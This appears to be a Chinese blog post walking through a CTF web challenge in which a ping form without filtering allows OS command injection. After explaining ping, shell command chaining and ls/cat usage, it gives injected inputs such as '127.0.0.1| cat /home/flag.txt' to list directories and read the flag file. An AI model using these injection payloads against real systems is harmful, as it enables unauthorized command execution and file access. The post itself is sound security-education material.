CTF-WEB篇 攻防世界题目实战解析command_execution

题目:command_execution (命令执行)  难度:2

题目描述:小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗

首先,根据对题目的阅读,我们可以得知:该ping功能没有waf(web应用防火墙),因此我们可以从ping命令执行漏洞作为切入。

知识点补习

什么是ping命令?

      Ping命令是一种常用的网络诊断工具,用于测试与目标主机之间的连接。通过发送ICMP回显请求消息到目标主机,然后等待该主机返回响应,从而确定两台主机之间的通信是否正常。Ping命令通常用于检查网络连接是否正常、测量网络延迟和丢包率等

举例,我们打开通过WIN+R,打开cmd。输入命令ping

ping 目标IP
或者
ping 主机名

 以本地ip为例,回车即可得到

这里得到了三个来自127.0.0.1的回复,这表示目标计算机成功返回了数据包,该ip网络连通性是可连接网络的。

当然,运用本题的网页输入,测试ip,也会得到这样的结果,除非该ip网络不可连通,就会得到以下回复:

ping: connect: Network is unreachable

ping命令执行漏洞

管道符

攻击原理:在用Linux命令时候,我们可以一行执行多条命令,或者有条件的执行下一条命令

逻辑:

eg.

先执行ping命令,然后执行ls

ping 127.0.0.1 && ls

Linux命令

此处只简单介绍本题中会用到的Linux命令,更多详细命令还请移步到

Linux命令大全:掌握常用命令,轻松使用Linux操作系统-CSDN博客

ls命令

用于显示指定目录下的文件和目录列表。如果没有指定目录,则默认显示当前目录下的文件和目录列表。

ls		    查看当前目录下的文件
ls -l(ll)	查看文件和目录的详细资料
ls -a		列出全部文件,包含隐藏文件
ls -R		连同子目录的内容一起列出(递归列出文件)
ls [0-9]    显示包含数字的文件名和目录名
cat命令

 cat命令用于查看指定文件的内容。例如,输入"cat file.txt"可显示出名为file.txt的文件的内容。

cat file1 	从第一个字节开始正向查看文件的内容
tac file1 	从最后一行开始反向查看一个文件的内容
cat -n file1 	标示文件的行数
more file1 	查看一个长文件的内容
head -n 2 file1 	查看一个文件的前两行
tail -n 2 file1 	查看一个文件的最后两行
tail -n +1000 file1  	从1000行开始显示,显示1000行以后的
cat filename | head -n 3000 | tail -n +1000  	显示1000行到3000行
cat filename | tail -n +3000 | head -n 1000  	从第3000行开始,显示1000(即显示3000~3999行)

解题

以上知识就是本题要综合运用的知识点,下面让我们正式开始解题

步骤一

运用逻辑符  “|” ,意为跳过ping命令直接执行ls命令,查看当前目录下的文件。输入命令:


127.0.0.1| ls /

步骤二

进入bin目录检查一下

127.0.0.1| ls /bin

我觉得这样一个一个找也不是办法,所以我选择使用find命令,同时我的猜想是flag应该就是文件名了,因此,命令如下:

127.0.0.1 | find / -name "flag*"

格式:

find / -name "已知文件名的部分*"
其实和sql语句是类似的,可以联想

得到以下信息:

步骤三

使用cat打开flag.txt文件,查看内容

命令如下:

127.0.0.1| cat /home/flag.txt

  • 21
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值